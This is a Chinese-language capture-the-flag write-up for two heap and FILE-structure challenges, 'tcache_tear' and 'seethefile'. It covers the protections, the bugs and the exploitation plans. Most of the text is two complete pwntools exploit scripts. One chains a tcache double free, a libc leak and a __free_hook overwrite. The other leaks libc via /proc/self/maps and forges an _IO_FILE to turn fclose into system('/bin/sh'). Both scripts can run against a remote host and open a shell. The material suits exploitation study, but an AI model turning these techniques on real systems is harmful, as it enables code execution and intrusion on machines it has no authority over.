tcache_tear#
1
2
3
4
5
6
7
8
| Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
libc_version: Ubuntu GLIBC 2.27-3ubuntu1
|
程序开始在bss段上读入了一个0x20的名字
malloc: 输入指定size,分配,指针ptr同样存储在bss,读入size-16的字符,这里字符个数可以溢出
free: 释放ptr空间,指针悬空,可以double free,程序使用了tcache,且在这个版本释放没有任何的检查
info: 打印姓名
总体思路#
利用tcache double free,可以对任意地址进行改写。在name处伪造一个chunk释放到unsorted bin,进行libc base的泄露。将__free_hook
改写为system地址。
伪造chunk注意绕过free的所有检查。伪造完成的结构如下:
1
2
3
4
5
6
7
8
9
10
| +----------+
| |
| |
| 0x421 |
| |
+----------+
| 0x21 |
+----------+
| 0x21 |
+----------+
|
tcache默认最多有64个,第1个是0x20大小,递推第64个也就是0x410。所以将name处伪造为0x420大小。第一个chunk的chunk->size=0x420|pre_in_use
,避免backward consolidate,第三个chunk的chunk->size=0x20|pre_in_use
,避免forward consolidate。
exploit#
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
| #!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="info")
localfile = "./tcache_tear"
locallibc = "./libc.so.6"
pf = lambda name,num :log.info(name + ": 0x%x" % num)
g = lambda x :next(libc.search(asm(x)))
def init_(name):
io.recvuntil("Name:")
io.send(name)
def malloc_(size, content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Size:")
io.sendline(str(size))
io.recvuntil("Data:")
io.send(content)
def free_():
io.recvuntil("Your choice :")
io.sendline("2")
def info_():
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Name :")
return io.recvline()
def exp():
# create fake chunk
name_addr = 0x602060
init_(p64(0) + p64(0x421))
malloc_(0x40, "A")
free_()
free_()
malloc_(0x40, p64(name_addr+0x420))
malloc_(0x40, "A")
malloc_(0x40, p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
# free fake chunk
malloc_(0x20, "A")
free_()
free_()
malloc_(0x20, p64(name_addr+0x10))
malloc_(0x20, "A")
malloc_(0x20, "A")
free_()
# gdb.attach(io, "b *0x200C11")
# leak libc base
ret = info_()
libc_base = u64(ret[16:24]) - 0x3EBCA0
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
# overwrite __free_hook
malloc_(0x30, "A")
free_()
free_()
malloc_(0x30, p64(free_hook))
malloc_(0x30, "A")
malloc_(0x30, p64(system_addr))
# trigger
malloc_(0x50, "/bin/sh")
free_()
io.interactive()
argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)
elf = ELF(localfile)
libc = ELF(locallibc)
exp()
|
seethefile#
1
2
3
4
5
6
7
| Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
libc_version: Ubuntu GLIBC 2.23-0ubuntu5
|
openfile: 输入路径,打开文件,进行了简单的路径过滤
readfile: 从文件中读取0x18f
writefile: 输出读取的内容。对文件内容进行了过滤,存在某些字符就不输出
exit: 读入姓名,这里存在任意长度溢出,可以发现可覆盖fp
总体思路#
利用/proc/self/maps泄露libc base。使用name的溢出构造fake _IO_FILE
,将__finish
改成system_addr,劫持fclose控制流。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| /* libio/iofclose.c */
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF) // 去掉_IO_IS_FILEBUF flag
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp); // 需要_IO_USER_LOCK 0x8000 flag,
if (fp->_IO_file_flags & _IO_IS_FILEBUF) // 否则会在这里发生段错误
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp); // 执行vtable中的__finish
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
|
exploit#
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| #!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
localfile = "./origin_seethefile"
locallibc = "libc.so.6"
# locallibc = "/home/liu/src/how2heap/glibc_versions/2.23/i686_tcache/lib/libc-2.23.so"
pf = lambda name,num :log.info(name + ": 0x%x" % num)
g = lambda x :next(libc.search(asm(x)))
def menu(idx):
io.recvuntil("Your choice :")
io.sendline(str(idx))
def open(filename):
menu(1)
io.recvuntil("What do you want to see :")
io.sendline(filename)
def read():
menu(2)
def close():
menu(4)
def exit(name):
menu(5)
io.recvuntil("Leave your name :")
io.sendline(name)
def exp():
# leak libc base
name_addr = 0x804B260
open("/proc/self/maps")
read()
menu(3)
read()
menu(3)
io.recvuntil("0 \n")
libc_base = int(io.recv(8), 16)
system_addr = libc_base + libc.sym["system"]
pf("libc base", libc_base)
# create fake IO_FILE
payload = b"A"*0x20 + p32(name_addr+0x30) + b"A"*0xc
payload += b"\xff\xdf\xff\xff;/bin/sh\x00".ljust(0x94, b"\x00") + p32(name_addr+0x30+0x98)
payload += p32(system_addr)*0x20
# payload = b"\x11\x80\x11\x11;sh".ljust(8, b"\x00") + p32(system_addr)*6 + p32(name_addr) + p32(0)*28 + p32(name_addr)
# gdb.attach(io, "b fclose")
exit(payload)
io.interactive()
io.sendline("cd /home/seethefile/")
argc = len(sys.argv)
if argc == 1:
io = process(localfile)
else:
if argc == 2:
host, port = sys.argv[1].split(":")
elif argc == 3:
host = sys.argv[1]
port = sys.argv[2]
io = remote(host, port)
elf = ELF(localfile)
libc = ELF(locallibc)
exp()
|
ERROR#
这个libc无论是使用自编译的ld(release/2.23/master),还是ubuntu16.04当前最新的ld,均无法成功运行seethefile。